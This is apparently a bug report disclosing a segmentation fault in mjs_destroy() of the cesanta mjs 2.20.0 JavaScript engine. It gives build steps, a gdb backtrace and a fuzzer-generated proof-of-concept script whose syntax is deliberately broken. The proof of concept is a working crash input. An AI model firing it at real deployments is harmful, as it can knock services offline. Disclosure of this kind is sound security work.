SegFaultOnPc in mjs_destroy() at mjs.c:7563

[vorfreuder]

The name of an affected Product
mjs

The affected version
Commit: b1b6eac (Tag: 2.20.0)

Description
An issue in cesanta mjs 2.20.0 allows a remote attacker to cause a denial of service via the mjs_destroy function in the mjs.c file.

Vulnerability Type
Segmentation fault on program counter

Environment

• Operating System

Distributor ID: Ubuntu
Description:    Ubuntu 18.04.6 LTS
Release:        18.04
Codename:       bionic

• Compiler

Ubuntu clang version 12.0.1-++20211102090516+fed41342a82f-1~exp1~20211102211019.11
Target: x86_64-pc-linux-gnu
Thread model: posix

Steps to Reproduce

git clone https://github.com/cesanta/mjs
cd mjs
git checkout b1b6eac
clang -ggdb -O0 -DMJS_MAIN mjs.c -o mjs -ldl

poc

let i, a = 0, b0= 0, c = 0continu, d0, e = 0;

for (i = 8; i < 20; i++) {
  a let z = JSON.parse('""');  // Zlength string
let s2 = JSON.stringify+=888 i;
c /= 0, c = 0let s = '08888888888888    true, "d": [null], "e": "1\\n2"}';
let o = JSON.parse(s);
let z = JSON.parse('""');  // Zlength string
let s2 = JSON.stringify(o)AAA

run command

mjs -f poc

gdb info

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040c168 in mjs_destroy (mjs=0x1db2260) at mjs.c:7563
7563      mbuf_free(&mjs->json_visited_stack);
(gdb) bt
#0  0x000000000040c168 in mjs_destroy (mjs=0x1db2260) at mjs.c:7563
#1  0x000000000040d413 in mjs_exec_internal (mjs=0x1db2260, 
    path=0x7ffd203438b4 "/cve/mjs_latest/pending3/id:000167,sig:06,src:003368,time:694819496,execs:215291083,op:havoc,rep:1", 
    src=0x1db3cb0 "let i, a = 0, b0= 0, c = 0continu, d0, e = 0;\n\nfor (i = 8; i < 20; i++) {\n  a let z = JSON.parse('\"\"');  // Zlength string\nlet s2 = JSON.stringify+=888 i;\nc /= 0, c = 0let s = '0", '8' <repeats 13 times>, "    true,"..., generate_jsc=0, res=0x7ffd20341a58)
    at mjs.c:9044
#2  0x000000000040d4d5 in mjs_exec_file (mjs=0x1db2260, 
    path=0x7ffd203438b4 "/cve/mjs_latest/pending3/id:000167,sig:06,src:003368,time:694819496,execs:215291083,op:havoc,rep:1", 
    res=0x7ffd20341aa0) at mjs.c:9067
#3  0x000000000041082e in main (argc=3, argv=0x7ffd20341ba8) at mjs.c:11406
(gdb) list
7558      mbuf_free(&mjs->owned_strings);
7559      mbuf_free(&mjs->foreign_strings);
7560      mbuf_free(&mjs->owned_values);
7561      mbuf_free(&mjs->scopes);
7562      mbuf_free(&mjs->loop_addresses);
7563      mbuf_free(&mjs->json_visited_stack);
7564      free(mjs->error_msg);
7565      free(mjs->stack_trace);
7566      mjs_ffi_args_free_list(mjs);
7567      gc_arena_destroy(mjs, &mjs->object_arena);